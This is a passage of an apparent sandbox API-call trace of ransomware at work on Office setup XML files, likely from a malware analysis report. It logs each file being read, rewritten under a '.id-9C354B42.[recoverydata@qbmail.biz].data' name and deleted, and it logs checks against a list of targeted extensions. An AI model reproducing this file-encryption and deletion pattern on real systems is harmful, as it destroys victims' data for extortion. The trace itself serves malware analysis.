Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0096.240] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.240] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0096.241] GetLastError () returned 0x0 [0096.241] ReadFile (in: hFile=0x1e0, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x648, lpOverlapped=0x0) returned 1 [0096.244] WriteFile (in: hFile=0x214, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x650, lpOverlapped=0x0) returned 1 [0096.245] ReadFile (in: hFile=0x1e0, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.245] WriteFile (in: hFile=0x214, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0096.245] SetEndOfFile (hFile=0x214) returned 1 [0096.246] CloseHandle (hObject=0x214) returned 1 [0096.246] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.246] SetEndOfFile (hFile=0x1e0) returned 1 [0096.247] CloseHandle (hObject=0x1e0) returned 1 [0096.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0096.247] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0096.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.248] lstrlenW (lpString=".doc") returned 4 [0096.248] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.248] lstrlenW (lpString=".docx") returned 5 [0096.248] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0096.248] lstrlenW (lpString=".pdf") returned 4 [0096.248] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.248] lstrlenW (lpString=".xls") returned 4 [0096.248] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.248] lstrlenW (lpString=".xlsx") returned 5 [0096.249] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0096.249] lstrlenW (lpString=".ppt") returned 4 [0096.249] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.249] lstrlenW (lpString=".zip") returned 4 [0096.249] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.249] lstrlenW (lpString=".rar") returned 4 [0096.249] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.249] lstrlenW (lpString=".bz2") returned 4 [0096.249] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.249] lstrlenW (lpString=".7z") returned 3 [0096.249] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.249] lstrlenW (lpString=".dbf") returned 4 [0096.249] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.250] lstrlenW (lpString=".1cd") returned 4 [0096.250] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.250] lstrlenW (lpString=".jpg") returned 4 [0096.250] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.250] lstrlenW (lpString=".doc") returned 4 [0096.250] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.250] lstrlenW (lpString=".docx") returned 5 [0096.250] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0096.250] lstrlenW (lpString=".pdf") returned 4 [0096.250] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.251] lstrlenW (lpString=".xls") returned 4 [0096.251] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.251] lstrlenW (lpString=".xlsx") returned 5 [0096.251] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0096.251] lstrlenW (lpString=".ppt") returned 4 [0096.251] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.251] lstrlenW (lpString=".zip") returned 4 [0096.251] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.251] lstrlenW (lpString=".rar") returned 4 [0096.251] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.251] lstrlenW (lpString=".bz2") returned 4 [0096.251] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.251] lstrlenW (lpString=".7z") returned 3 [0096.251] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.251] lstrlenW (lpString=".dbf") returned 4 [0096.251] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.252] lstrlenW (lpString=".1cd") returned 4 [0096.252] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0096.252] lstrlenW (lpString=".jpg") returned 4 [0096.252] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.252] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0096.252] lstrlenW (lpString="SETUP.XML") returned 9 [0096.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0096.675] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=6241) returned 1 [0096.675] CloseHandle (hObject=0x18c) returned 1 [0096.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0096.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0096.675] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.675] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0096.965] GetLastError () returned 0x0 [0096.965] ReadFile (in: hFile=0x18c, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x1861, lpOverlapped=0x0) returned 1 [0096.974] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0096.976] ReadFile (in: hFile=0x18c, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.976] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0096.977] SetEndOfFile (hFile=0x1ac) returned 1 [0096.977] CloseHandle (hObject=0x1ac) returned 1 [0096.978] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.978] SetEndOfFile (hFile=0x18c) returned 1 [0096.979] CloseHandle (hObject=0x18c) returned 1 [0096.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0096.979] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0096.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.980] lstrlenW (lpString=".doc") returned 4 [0096.980] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.980] lstrlenW (lpString=".docx") returned 5 [0096.980] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0096.980] lstrlenW (lpString=".pdf") returned 4 [0096.980] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.980] lstrlenW (lpString=".xls") returned 4 [0096.980] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.980] lstrlenW (lpString=".xlsx") returned 5 [0096.980] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0096.980] lstrlenW (lpString=".ppt") returned 4 [0096.980] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.980] lstrlenW (lpString=".zip") returned 4 [0096.980] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.980] lstrlenW (lpString=".rar") returned 4 [0096.980] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.980] lstrlenW (lpString=".bz2") returned 4 [0096.981] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.981] lstrlenW (lpString=".7z") returned 3 [0096.981] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.981] lstrlenW (lpString=".dbf") returned 4 [0096.981] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.981] lstrlenW (lpString=".1cd") returned 4 [0096.981] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.981] lstrlenW (lpString=".jpg") returned 4 [0096.981] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.981] lstrlenW (lpString=".doc") returned 4 [0096.981] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.981] lstrlenW (lpString=".docx") returned 5 [0096.981] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0096.981] lstrlenW (lpString=".pdf") returned 4 [0096.981] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.981] lstrlenW (lpString=".xls") returned 4 [0096.981] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.981] lstrlenW (lpString=".xlsx") returned 5 [0096.981] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0096.982] lstrlenW (lpString=".ppt") returned 4 [0096.982] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.982] lstrlenW (lpString=".zip") returned 4 [0096.982] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.982] lstrlenW (lpString=".rar") returned 4 [0096.982] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.982] lstrlenW (lpString=".bz2") returned 4 [0096.982] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.982] lstrlenW (lpString=".7z") returned 3 [0096.982] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.982] lstrlenW (lpString=".dbf") returned 4 [0096.982] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.982] lstrlenW (lpString=".1cd") returned 4 [0096.982] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0096.982] lstrlenW (lpString=".jpg") returned 4 [0096.982] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.982] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0096.982] lstrlenW (lpString="WordMUI.XML") returned 11 [0096.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0096.993] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1800) returned 1 [0096.993] CloseHandle (hObject=0x18c) returned 1 [0096.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0096.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0096.994] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.994] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0096.998] GetLastError () returned 0x0 [0096.998] ReadFile (in: hFile=0x18c, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x708, lpOverlapped=0x0) returned 1 [0097.001] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x710, lpOverlapped=0x0) returned 1 [0097.003] ReadFile (in: hFile=0x18c, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0097.003] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xea, lpOverlapped=0x0) returned 1 [0097.003] SetEndOfFile (hFile=0x1ac) returned 1 [0097.003] CloseHandle (hObject=0x1ac) returned 1 [0097.004] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.004] SetEndOfFile (hFile=0x18c) returned 1 [0097.005] CloseHandle (hObject=0x18c) returned 1 [0097.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0097.005] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0097.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.006] lstrlenW (lpString=".doc") returned 4 [0097.006] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0097.006] lstrlenW (lpString=".docx") returned 5 [0097.006] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0097.006] lstrlenW (lpString=".pdf") returned 4 [0097.006] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0097.006] lstrlenW (lpString=".xls") returned 4 [0097.006] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0097.006] lstrlenW (lpString=".xlsx") returned 5 [0097.006] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0097.006] lstrlenW (lpString=".ppt") returned 4 [0097.006] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0097.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.007] lstrlenW (lpString=".zip") returned 4 [0097.007] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0097.007] lstrlenW (lpString=".rar") returned 4 [0097.007] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0097.007] lstrlenW (lpString=".bz2") returned 4 [0097.007] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0097.007] lstrlenW (lpString=".7z") returned 3 [0097.007] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0097.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.007] lstrlenW (lpString=".dbf") returned 4 [0097.007] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0097.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.007] lstrlenW (lpString=".1cd") returned 4 [0097.007] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0097.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.008] lstrlenW (lpString=".jpg") returned 4 [0097.008] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0097.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.265] lstrlenW (lpString=".doc") returned 4 [0097.265] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0097.265] lstrlenW (lpString=".docx") returned 5 [0097.265] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0097.265] lstrlenW (lpString=".pdf") returned 4 [0097.265] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0097.265] lstrlenW (lpString=".xls") returned 4 [0097.265] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0097.266] lstrlenW (lpString=".xlsx") returned 5 [0097.266] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0097.266] lstrlenW (lpString=".ppt") returned 4 [0097.266] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0097.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.266] lstrlenW (lpString=".zip") returned 4 [0097.266] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0097.266] lstrlenW (lpString=".rar") returned 4 [0097.266] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0097.266] lstrlenW (lpString=".bz2") returned 4 [0097.266] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0097.266] lstrlenW (lpString=".7z") returned 3 [0097.266] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0097.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.266] lstrlenW (lpString=".dbf") returned 4 [0097.266] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0097.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0097.266] lstrlenW (lpString=".1cd") returned 4 [0097.266] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0097.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") 